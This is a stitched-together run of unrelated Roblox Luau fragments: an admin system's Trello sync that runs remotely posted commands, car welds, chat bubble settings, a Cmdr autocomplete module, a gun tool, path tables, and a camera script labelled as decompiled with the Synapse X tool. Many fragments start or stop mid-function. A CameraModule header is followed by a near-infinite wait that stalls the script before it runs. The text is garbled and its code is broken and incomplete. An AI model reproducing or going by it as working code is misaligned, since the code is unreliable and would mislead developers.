l,k in pairs(cards) do if k.name:match('^(.*):(.*)') then local a,b=k.name:match('^(.*):(.*)') table.insert(music,{Name = a,ID = tonumber(b)}) end end end if insertList then local cards = trello.getCards(insertList.id) for l,k in pairs(cards) do if k.name:match('^(.*):(.*)') then local a,b=k.name:match('^(.*):(.*)') table.insert(insertlist,{Name = a,ID = tonumber(b)}) end end end if muteList then local cards = trello.getCards(muteList.id) for l,k in pairs(cards) do table.insert(mutes,k.name) end end if bList then local cards = trello.getCards(bList.id) for l,k in pairs(cards) do table.insert(blacklist,k.name) end end if wList then local cards = trello.getCards(wList.id) for l,k in pairs(cards) do table.insert(whitelist,k.name) end end if permList then local cards = trello.getCards(permList.id) for l,k in pairs(cards) do local com,level = k.name:match("^(.*):(.*)") if com and level then Admin.SetPermission(com,level) end end end if commandList then local cards = trello.getCards(commandList.id) for l,k in pairs(cards) do if not HTTP.Trello.PerformedCommands[tostring(k.id)] then local cmd = k.name local placeid if cmd:sub(1,1)=="$" then placeid = cmd:sub(2):match(".%d+") cmd = cmd:sub(#placeid+2) placeid = tonumber(placeid) end if placeid and game.PlaceId~=placeid then return end Admin.RunCommand(cmd) HTTP.Trello.PerformedCommands[tostring(k.id)] = true Logs.AddLog(Logs.Script,{ Text = "Trello command executed"; Desc = cmd; }) if Settings.Trello_Token ~= "" then pcall(trello.makeComment,k.id,"Ran Command: "..cmd.."\nPlace ID: "..game.PlaceId.."\nServer Job Id: "..game.JobId.."\nServer Players: "..#service.GetPlayers().."\nServer Time: "..service.GetTime()) end end end end end for i,v in pairs(Settings.Trello_Secondary) do table.insert(boards,v) end if Settings.Trello_Primary~="" then table.insert(boards,Settings.Trello_Primary) end for i,v in pairs(boards) do pcall(grabData,v) end if #bans>0 then HTTP.Trello.Bans = bans end if #creators>0 then HTTP.Trello.Creators = creators end if #admins>0 then HTTP.Trello.Admins = admins end if #mods>0 then HTTP.Trello.Moderators = mods end if #owners>0 then HTTP.Trello.Owners = owners end if #music>0 then HTTP.Trello.Music = music end if #insertlist>0 then HTTP.Trello.InsertList = insertlist end if #mutes>0 then HTTP.Trello.Mutes = mutes end if #agents>0 then HTTP.Trello.Agents = agents end if #blacklist>0 then HTTP.Trello.Blacklist = blacklist end if #whitelist>0 then HTTP.Trello.Whitelist = whitelist end for i,v in pairs(service.GetPlayers()) do if Admin.CheckBan(v) then v:Kick(Variables.BanMessage) end if v and v.Parent then for ind,admin in pairs(HTTP.Trello.Mutes) do if Admin.DoCheck(v,admin) then Remote.LoadCode(v,[[service.StarterGui:SetCoreGuiEnabled("Chat",false) client.Variables.ChatEnabled = false client.Variables.Muted = true]]) end end end Admin.UpdateCachedLevel(v) end Logs.AddLog(Logs.Script,{ Text = "Updated Trello Data"; Desc = "Data was retreived from Trello"; }) end end; CheckAgent = function(p) for ind,v in pairs(HTTP.Trello.Agents) do if Admin.DoCheck(p,v) then return true end end end; }; }; end
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
MakeWeld(car.DriveSeat,misc:WaitForChild('Downforce')) misc:WaitForChild("Spoiler") MakeWeld(car.DriveSeat,misc.Spoiler:WaitForChild("A1")).Name="W" MakeWeld(misc.Spoiler.A1,misc.Spoiler:WaitForChild("A2"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.A2,misc.Spoiler:WaitForChild("A3"),"Motor",.02).Name="W" MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A4"),"Motor",.01).Name="P" MakeWeld(misc.Spoiler.A4,misc.Spoiler:WaitForChild("Sp"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.Sp,misc.Spoiler:WaitForChild("B1")) MakeWeld(misc.Spoiler.B1,misc.Spoiler:WaitForChild("B"),"Motor",.01).Name="W" car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
--[=[ Sets the BasicPane to be visible @param isVisible boolean -- Whether or not the pane should be visible @param doNotAnimate boolean? -- True if this visiblity should not animate ]=]
function BasicPane:SetVisible(isVisible, doNotAnimate) assert(type(isVisible) == "boolean", "Bad isVisible") if self._visible ~= isVisible then self._visible = isVisible local maid = Maid.new() self._maid._paneVisibleMaid = maid self.VisibleChanged:Fire(self._visible, doNotAnimate, maid) end end
-- Head
local Neck = character.UpperTorso:FindFirstChild("NeckRigAttachment") local Head = character.Head:FindFirstChild("NeckRigAttachment")
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive if FFlagUserChatNewMessageLengthCheck2 then MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1 else MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1 end local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
-- luacheck: ignore 212
local Players = game:GetService("Players") local Player = Players.LocalPlayer return function(Cmdr) local AutoComplete = { Items = {}, ItemOptions = {}, SelectedItem = 0, } local Util = Cmdr.Util local Gui = Player:WaitForChild("PlayerGui"):WaitForChild("Cmdr"):WaitForChild("Autocomplete") local AutoItem = Gui:WaitForChild("TextButton") local Title = Gui:WaitForChild("Title") local Description = Gui:WaitForChild("Description") local Entry = Gui.Parent:WaitForChild("Frame"):WaitForChild("Entry") AutoItem.Parent = nil local defaultBarThickness = Gui.ScrollBarThickness -- Helper function that sets text and resizes labels local function SetText(obj, textObj, text, sizeFromContents) obj.Visible = text ~= nil textObj.Text = text or "" if sizeFromContents then textObj.Size = UDim2.new( 0, Util.GetTextSize(text or "", textObj, Vector2.new(1000, 1000), 1, 0).X, obj.Size.Y.Scale, obj.Size.Y.Offset ) end end local function UpdateContainerSize() Gui.Size = UDim2.new( 0, math.max(Title.Field.TextBounds.X + Title.Field.Type.TextBounds.X, Gui.Size.X.Offset), 0, math.min(Gui.UIListLayout.AbsoluteContentSize.Y, Gui.Parent.AbsoluteSize.Y - Gui.AbsolutePosition.Y - 10) ) end -- Update the info display (Name, type, and description) based on given options. local function UpdateInfoDisplay(options) -- Update the objects' text and sizes SetText(Title, Title.Field, options.name, true) SetText( Title.Field.Type, Title.Field.Type, options.type and ": " .. options.type:sub(1, 1):upper() .. options.type:sub(2) ) SetText(Description, Description.Label, options.description) Description.Label.TextColor3 = options.invalid and Color3.fromRGB(255, 73, 73) or Color3.fromRGB(255, 255, 255) Description.Size = UDim2.new(1, 0, 0, 40) -- Flow description text while not Description.Label.TextFits do Description.Size = Description.Size + UDim2.new(0, 0, 0, 2) if Description.Size.Y.Offset > 500 then break end end -- Update container task.wait() Gui.UIListLayout:ApplyLayout() UpdateContainerSize() Gui.ScrollBarThickness = defaultBarThickness end --- Shows the auto complete menu with the given list and possible options -- item = {typedText, suggestedText, options?=options} -- The options table is optional. `at` should only be passed into AutoComplete::Show -- name, type, and description may be passed in an options dictionary inside the items as well -- options.at?: the character index at which to show the menu -- options.name?: The name to display in the info box -- options.type?: The type to display in the info box -- options.prefix?: The current type prefix (%Team) -- options.description?: The description for the currently active info box -- options.invalid?: If true, description is shown in red. -- options.isLast?: If true, auto complete won't keep going after this argument. function AutoComplete:Show(items, options) options = options or {} -- Remove old options. for _, item in pairs(self.Items) do if item.gui then item.gui:Destroy() end end -- Reset state self.SelectedItem = 1 self.Items = items self.Prefix = options.prefix or "" self.LastItem = options.isLast or false self.Command = options.command self.Arg = options.arg self.NumArgs = options.numArgs self.IsPartial = options.isPartial -- Generate the new option labels local autocompleteWidth = 200 Gui.ScrollBarThickness = 0 for i, item in pairs(self.Items) do local leftText = item[1] local rightText = item[2] local btn = AutoItem:Clone() btn.Name = leftText .. rightText btn.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1 local start, stop = string.find(rightText:lower(), leftText:lower(), 1, true) btn.Typed.Text = string.rep(" ", start - 1) .. leftText btn.Suggest.Text = string.sub(rightText, 0, start - 1) .. string.rep(" ", #leftText) .. string.sub(rightText, stop + 1) btn.Parent = Gui btn.LayoutOrder = i local maxBounds = math.max(btn.Typed.TextBounds.X, btn.Suggest.TextBounds.X) + 20 if maxBounds > autocompleteWidth then autocompleteWidth = maxBounds end item.gui = btn end Gui.UIListLayout:ApplyLayout() -- Todo: Use TextService to find accurate position for auto complete box local text = Entry.TextBox.Text local words = Util.SplitString(text) if text:sub(#text, #text) == " " and not options.at then words[#words + 1] = "e" end table.remove(words, #words) local extra = (options.at and options.at or (#table.concat(words, " ") + 1)) * 7 -- Update the auto complete container Gui.Position = UDim2.new(0, Entry.TextBox.AbsolutePosition.X - 10 + extra, 0, Entry.TextBox.AbsolutePosition.Y + 30) Gui.Size = UDim2.new(0, autocompleteWidth, 0, Gui.UIListLayout.AbsoluteContentSize.Y) Gui.Visible = true -- Finally, update thge info display UpdateInfoDisplay(self.Items[1] and self.Items[1].options or options) end --- Returns the selected item in the auto complete function AutoComplete:GetSelectedItem() if Gui.Visible == false then return nil end return AutoComplete.Items[AutoComplete.SelectedItem] end --- Hides the auto complete function AutoComplete:Hide() Gui.Visible = false end --- Returns if the menu is visible function AutoComplete:IsVisible() return Gui.Visible end --- Changes the user's item selection by the given delta function AutoComplete:Select(delta) if not Gui.Visible then return end self.SelectedItem = self.SelectedItem + delta if self.SelectedItem > #self.Items then self.SelectedItem = 1 elseif self.SelectedItem < 1 then self.SelectedItem = #self.Items end for i, item in pairs(self.Items) do item.gui.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1 end Gui.CanvasPosition = Vector2.new( 0, math.max( 0, Title.Size.Y.Offset + Description.Size.Y.Offset + self.SelectedItem * AutoItem.Size.Y.Offset - Gui.Size.Y.Offset ) ) if self.Items[self.SelectedItem] and self.Items[self.SelectedItem].options then UpdateInfoDisplay(self.Items[self.SelectedItem].options or {}) end end Gui.Parent:GetPropertyChangedSignal("AbsoluteSize"):Connect(UpdateContainerSize) return AutoComplete end
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
EmoteNames = { Wave = false, Point = false, Dance = true, Dance2 = true, Dance3 = true, Laugh = false, Cheer = false } math.randomseed(tick()) function ConfigureAnimationSet(Name, FileList) if AnimTable[Name] then for i, Connection in pairs(AnimTable[Name].Connections) do Connection:disconnect() end end AnimTable[Name] = {} AnimTable[Name].Count = 0 AnimTable[Name].TotalWeight = 0 AnimTable[Name].Connections = {} -- check for config values local Config = script:FindFirstChild(Name) if Config then
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos, color) local brick = Instance.new("Part") brick.BrickColor = BrickColor.Random() brick.CFrame = cf * CFrame.new(pos + brick.Size / 2) script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick brick.BrickCleanup.Disabled = false brick.Parent = game.Workspace brick:MakeJoints() return brick, pos + brick.Size end function buildWall(cf) local color = BrickColor.Random() local bricks = {} assert(wallWidth>0) local y = 0 while y < wallHeight do local p local x = -wallWidth/2 while x < wallWidth/2 do local brick brick, p = placeBrick(cf, Vector3.new(x, y, 0), color) x = p.x table.insert(bricks, brick) wait(brickSpeed) end y = p.y end return bricks end function snap(v) if math.abs(v.x)>math.abs(v.z) then if v.x>0 then return Vector3.new(1,0,0) else return Vector3.new(-1,0,0) end else if v.z>0 then return Vector3.new(0,0,1) else return Vector3.new(0,0,-1) end end end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character)) local lookAt = snap( (targetPos - character.Head.Position).unit ) local cf = CFrame.new(targetPos, targetPos + lookAt) Tool.Handle.BuildSound:Play() buildWall(cf) wait(5) Tool.Enabled = true end Tool.Activated:Connect(onActivated)
--//Setup//--
local NPC = script.Parent local NPCHumanoid = NPC:WaitForChild("Humanoid") local NPCAnimator = NPCHumanoid:WaitForChild("Animator") local Anim = script:WaitForChild("Idle")
-- Gets the storage location for packages used by each Dev Modules. The packages -- that get put in this folder are deduplicated so every distinct version of a -- package has only one copy.
local function getPackageStorage() local packageStorage = PACKAGE_STORAGE_LOCATION:FindFirstChild(PACKAGE_STORAGE_NAME) if not packageStorage then packageStorage = Instance.new("Folder") packageStorage.Name = PACKAGE_STORAGE_NAME packageStorage.Parent = PACKAGE_STORAGE_LOCATION end return packageStorage end
-------------------------------------------------------------------------- -- Types --------------------------------------------------------------------------
type Controller = (Humanoid | AnimationController | Animater) type AnimationIndex = { id: string, priority: Enum.AnimationPriority?, weight: number?, weightFade: number?, speed: number?, } type options = { stopOthers: boolean?, fadeIn: number?, fadeOut: number?, weight: number?, weightFade: number?, speed: number? }
-- Default options
Options = { DefaultPartParent = Workspace };
--[=[ @param msg string @return value: any Unwraps the value in the option, otherwise throws an error with `msg` as the error message. ```lua local opt = Option.Some(10) print(opt:Expect("No number")) -> 10 print(Option.None:Expect("No number")) -- Throws an error "No number" ``` ]=]
function Option:Expect(msg) assert(self:IsSome(), msg) return self._v end
--Values--
local car = script.Parent.Parent.Car.Value local FE = workspace.FilteringEnabled local _Tune = require(car["A-Chassis Tune"]) local Redline = _Tune.Redline local maxPSI = WasteGatePressure local totalPSI = 0 local actualPSI = 0 local CR = CompressionRatio local TC = TurboCount local handler = car:WaitForChild("UpdateAndMake") local Values = script.Parent.Parent.Values local Throttle = script.Parent.Parent.Values.Throttle.Value local BOVFix = (1 - Throttle) local tester = 1 local BOVact = 0 local BOVact2 = 0 local Whistle = car.DriveSeat:WaitForChild("Whistle") local BOV = car.DriveSeat:WaitForChild("BOV") Whistle:Play() script.Parent.Parent.Values.RPM.Changed:connect(function() --When In Neutral if Values.Horsepower.Value == 0 then totalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/9)-0.035)*((36/TurboSize)*2))/WasteGatePressure)*15) if totalPSI < 0.05 then totalPSI = 0.05 end if totalPSI > 2 then totalPSI = 2 end --TEST end --When Driving if Values.Horsepower.Value > 0 then totalPSI = totalPSI + ((((((Values.Horsepower.Value*(Values.Throttle.Value*1.2)/_Tune.Horsepower)/9)-0.045)*((36/TurboSize)*2))/WasteGatePressure)*15) if totalPSI < 0.05 then totalPSI = 0.05 end if totalPSI > 2 then totalPSI = 2 end --TEST end actualPSI = totalPSI/2 if FE then local BP = totalPSI handler:FireServer(totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness) else local Throttle2 = Throttle local W = car.DriveSeat:WaitForChild("Whistle") local B = car.DriveSeat:WaitForChild("BOV") if Throttle2 < 0 then Throttle2 = 0 end W.Pitch = (totalPSI) W.Volume = (totalPSI/4)*TurboLoudness B.Pitch = 1 - (-totalPSI/40) B.Volume = (((-0.03+totalPSI/2)*(1 - Throttle))/2)*BOV_Loudness end end)
-- return hit -- Swerve, without checking to jump.
elseif Hit.Velocity.y > 1 then Hit = nil -- ignore, if other AI is already jumping; else check to Jump end -- East -West collisions - swerve. North/South, check-to-jump. end -- endifs end -- read hit
-- Local Functions
local function OnDisplayNotification(teamColor, message) local notificationFrame = ScoreFrame.Frame[tostring(teamColor)].Notification notificationFrame.Text = message notificationFrame:TweenSize(UDim2.new(1,0,1,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .25, false) wait(1.5) notificationFrame:TweenSize(UDim2.new(1,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .1, false) end local function OnScoreChange(team, score) ScoreFrame.Frame[tostring(team.TeamColor)].Text = score end local function OnDisplayVictory(winningTeam) if winningTeam then VictoryFrame.Visible = true if winningTeam == 'Tie' then VictoryFrame.Tie.Visible = true else VictoryFrame.Win.Visible = true local WinningFrame = VictoryFrame.Win[winningTeam.Name] WinningFrame.Visible = true end else VictoryFrame.Visible = false VictoryFrame.Win.Visible = false VictoryFrame.Win.Red.Visible = false VictoryFrame.Win.Blue.Visible = false VictoryFrame.Tie.Visible = false end end local function OnResetMouseIcon() Mouse.Icon = MouseIcon end
-- Decompiled with the Synapse X Luau decompiler.
local l__Players__1 = game:GetService("Players"); local l__UserInputService__2 = game:GetService("UserInputService"); local l__UserGameSettings__3 = UserSettings():GetService("UserGameSettings"); local v4 = require(script.Parent:WaitForChild("CameraInput")); local v5 = require(script.Parent:WaitForChild("CameraUI")); local v6 = require(script.Parent:WaitForChild("CameraUtils")); local v7 = tick(); v5.setCameraModeToastEnabled(false); local u1 = false; local u2 = false; local u3 = v7; local u4 = false; local u5 = false; return function(p1) local v8 = v4.getTogglePan(); if p1 and v8 ~= u1 then u2 = true; end; if u1 ~= v8 or tick() - u3 > 3 then local v9 = v8 and tick() - u3 < 3; v5.setCameraModeToastOpen(v9); if v8 then u2 = false; end; u3 = tick(); u1 = v8; end; if p1 ~= u4 then if p1 then u5 = v4.getTogglePan(); v4.setTogglePan(true); elseif not u2 then v4.setTogglePan(u5); end; end; if p1 then if v4.getTogglePan() then v6.setMouseIconOverride("rbxasset://textures/Cursors/CrossMouseIcon.png"); v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter); v6.setRotationTypeOverride(Enum.RotationType.CameraRelative); else v6.restoreMouseIcon(); v6.restoreMouseBehavior(); v6.setRotationTypeOverride(Enum.RotationType.CameraRelative); end; elseif v4.getTogglePan() then v6.setMouseIconOverride("rbxasset://textures/Cursors/CrossMouseIcon.png"); v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter); v6.setRotationTypeOverride(Enum.RotationType.MovementRelative); elseif v4.getHoldPan() then v6.restoreMouseIcon(); v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCurrentPosition); v6.setRotationTypeOverride(Enum.RotationType.MovementRelative); else v6.restoreMouseIcon(); v6.restoreMouseBehavior(); v6.restoreRotationType(); end; u4 = p1; end;
--[[local gui = Instance.new("ScreenGui") local bg = Instance.new("Frame",gui) local bar = Instance.new("Frame",bg) local bvl = Instance.new("ImageLabel", bg) bvl.Name = "Bevel" bvl.BackgroundTransparency = 1 bvl.Image = "http://www.roblox.com/asset/?id=56852431" bvl.Size = UDim2.new(1,0,1,0) bg.Name = "Back" bar.Name = "Charge" bar.BackgroundColor3 = Color3.new(200/255,0/255,0/255) bg.BackgroundColor3 = Color3.new(200/255,200/255,200/255) bg.Size = UDim2.new(0,10,0,-100) bg.Position = UDim2.new(0,5,0,500) bar.Size = UDim2.new(0,4,-1,0) bar.Position = UDim2.new(0,3,1,0) ggui = gui:Clone() ggui.Name = "GunGui" ggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]
GroupID = 9999 function AntiGH(char1,char2) if GH then local plyr1 = game.Players:findFirstChild(char1.Name) local plyr2 = game.Players:findFirstChild(char2.Name) if plyr1 and plyr2 then if plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then return false end end return true elseif not GH then return true end end MaxDist = 1000 function RayCast(Start,End,Ignore) if WallShoot then ray1 = Ray.new(Start, End.unit * 999.999) local Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore) ray2 = Ray.new(TempPos, End.unit * 999.999) local Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1) return Part1, Part2, EndPos elseif not WallShoot then ray = Ray.new(Start, End.unit * 999.999) return Workspace:FindPartOnRay(ray,Ignore) end end function DmgPlr(Part) if Part ~= nil then local c = Instance.new("ObjectValue") c.Name = "creator" c.Value = game.Players:findFirstChild(script.Parent.Parent.Name) local hum = Part.Parent:findFirstChild("Humanoid") local hathum = Part.Parent.Parent:findFirstChild("Humanoid") local hat = Part.Parent if hathum ~= nil and hat:IsA("Hat") and AntiGH(hathum.Parent, script.Parent.Parent) then hathum:TakeDamage(Damage/1) Part.Parent = game.Workspace Part.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))) hat:Remove() c.Parent = hathum game.Debris:AddItem(c,1.5) elseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then if Part.Name == "Head" then hum:TakeDamage(Damage*1.3) end hum:TakeDamage(Damage) c.Parent = hum game.Debris:AddItem(c,1.5) end end end function onButton1Down(mouse) if script.Parent.Ammo.Value == 0 then else if GunType == 0 then if (not enabled) then return end enabled = false LaserShoot(mouse) if Flash then script.Parent.Barrel.Light.Light.Visible = true end script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1 wait(0.01) if Flash then script.Parent.Barrel.Light.Light.Visible = false end wait(1/SPS) enabled = true elseif GunType == 1 then automatichold = true while automatichold == true and script.Parent.Ammo.Value ~= 0 do wait() if (not enabled) then return end if script.Parent.Parent:findFirstChild("Humanoid").Health == 0 then script.Parent:Remove() end enabled = false LaserShoot(mouse) if Flash then script.Parent.Barrel.Light.Light.Visible = true end script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1 wait(0.01) if Flash then script.Parent.Barrel.Light.Light.Visible = false end wait(1/SPS) enabled = true end end end end function LaserShoot(mouse) hit = mouse.Hit.p local StartPos = script.Parent.Barrel.CFrame.p local rv = (StartPos-hit).magnitude/(Recoil * 20) local rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv)) aim = hit + rcl local P = Instance.new("Part") P.Name = "Bullet" P.formFactor = 3 P.BrickColor = BrickColor.new(BulletColor) P.Size = Vector3.new(1,1,1) P.Anchored = true P.CanCollide = false P.Transparency = 0.5 P.Parent = script.Parent.Parent local m = Instance.new("CylinderMesh") m.Name = "Mesh" m.Parent = P local c = Instance.new("ObjectValue") c.Name = "creator" c.Value = game.Players:findFirstChild(script.Parent.Parent.Name) pewsound = script:FindFirstChild("Fire") if pewsound then pewsound:Play() end --Brick created. Moving on to next part local SPos = script.Parent.Barrel.CFrame.p if WallShoot then local Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent) DmgPlr(Part1) DmgPlr(Part2) if Part1 and Part2 then local enddist = (EndPos-SPos).magnitude P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.04,enddist,.04) else P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.04,MaxDist,.04) end elseif not WallShoot then local Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent) DmgPlr(Part) if Part then local dist = (Pos-SPos).magnitude P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.1,dist,.1) else P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.1,MaxDist,.1) end end game.Debris:AddItem(P,.1) end function onButton1Up(mouse) automatichold = false end function onKeyDown(key, mouse) if key:lower() == "r" then if script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then reloadsound = script:FindFirstChild("Reload") if reloadsound then reloadsound:Play() end enabled = false script.Parent.VisibleB.Value = true script.Parent.StringValue.Value = "Reloading" repeat script.Parent.StringValue.Value = "Reloading" wait(0.15) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = "Reloading" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value wait(0.2) script.Parent.VisibleB.Value = false enabled = true end end if key:lower() == "m" then if GunType == 1 then GunType = 0 Recoil = 5 else GunType = 1 Recoil = 4 end end end function onEquipped(mouse) equipped = true if mouse == nil then print("Mouse not found") return end mouse.Icon = "http://www.roblox.com/asset/?id=52812029" mouse.Button1Down:connect(function() onButton1Down(mouse) end) mouse.Button1Up:connect(function() onButton1Up(mouse) end) mouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end) end function onUnequipped(mouse) equipped = false automatichold = false end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped) while true do wait() if script.Parent.Ammo.Value == 0 then script.Parent.VisibleB.Value = true script.Parent.StringValue.Value = "Reload" end if GunType == 1 then script.Parent.ModeText.Value = "Auto" else script.Parent.ModeText.Value = "Semi" end end
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{39,41,30,56,58},t}, [49]={{39,40,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{39,41,30,56,58,20,19},t}, [59]={{39,41,59},t}, [63]={{39,41,30,56,58,23,62,63},t}, [34]={{39,40,35,34},t}, [21]={{39,41,30,56,58,20,21},t}, [48]={{39,40,35,34,32,31,29,28,44,45,49,48},t}, [27]={{39,40,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{39,40,35,34,32,31},t}, [56]={{39,41,30,56},t}, [29]={{39,40,35,34,32,31,29},t}, [13]={n,f}, [47]={{39,40,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{39,40,35,34,32,31,29,28,44,45},t}, [57]={{39,41,30,56,57},t}, [36]={{39,40,35,37,36},t}, [25]={{39,40,35,34,32,31,29,28,27,26,25},t}, [71]={{39,41,59,61,71},t}, [20]={{39,41,30,56,58,20},t}, [60]={{39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{39,41,59,61,71,72,76,73,75},t}, [22]={{39,41,30,56,58,20,21,22},t}, [74]={{39,41,59,61,71,72,76,73,74},t}, [62]={{39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{39,40,35,37},t}, [2]={n,f}, [35]={{39,40,35},t}, [53]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{39,41,59,61,71,72,76,73},t}, [72]={{39,41,59,61,71,72},t}, [33]={{39,40,35,37,36,33},t}, [69]={{39,41,60,69},t}, [65]={{39,41,30,56,58,20,19,66,64,65},t}, [26]={{39,40,35,34,32,31,29,28,27,26},t}, [68]={{39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{39,41,59,61,71,72,76},t}, [50]={{39,40,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{39,40,35,34,32,31,29,28,27,26,25,24},t}, [23]={{39,41,30,56,58,23},t}, [44]={{39,40,35,34,32,31,29,28,44},t}, [39]={{39},t}, [32]={{39,40,35,34,32},t}, [3]={n,f}, [30]={{39,41,30},t}, [51]={{39,40,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{39,41,30,56,58,20,19,66,64,67},t}, [61]={{39,41,59,61},t}, [55]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{39,40,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{39,40,38,42},t}, [40]={{39,40},t}, [52]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{39,40,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{39,41},t}, [17]={n,f}, [38]={{39,40,38},t}, [28]={{39,40,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{39,41,30,56,58,20,19,66,64},t}, } return r
--[[ CameraModule - This ModuleScript implements a singleton class to manage the selection, activation, and deactivation of the current camera controller, character occlusion controller, and transparency controller. This script binds to RenderStepped at Camera priority and calls the Update() methods on the active controller instances. The camera controller ModuleScripts implement classes which are instantiated and activated as-needed, they are no longer all instantiated up front as they were in the previous generation of PlayerScripts. 2018 PlayerScripts Update - AllYourBlox --]]
wait(999999999999999999999) local CameraModule = {} CameraModule.__index = CameraModule local FFlagUserCameraToggle do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserCameraToggle") end) FFlagUserCameraToggle = success and result end local FFlagUserRemoveTheCameraApi do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserRemoveTheCameraApi") end) FFlagUserRemoveTheCameraApi = success and result end
--------RIGHT DOOR --------
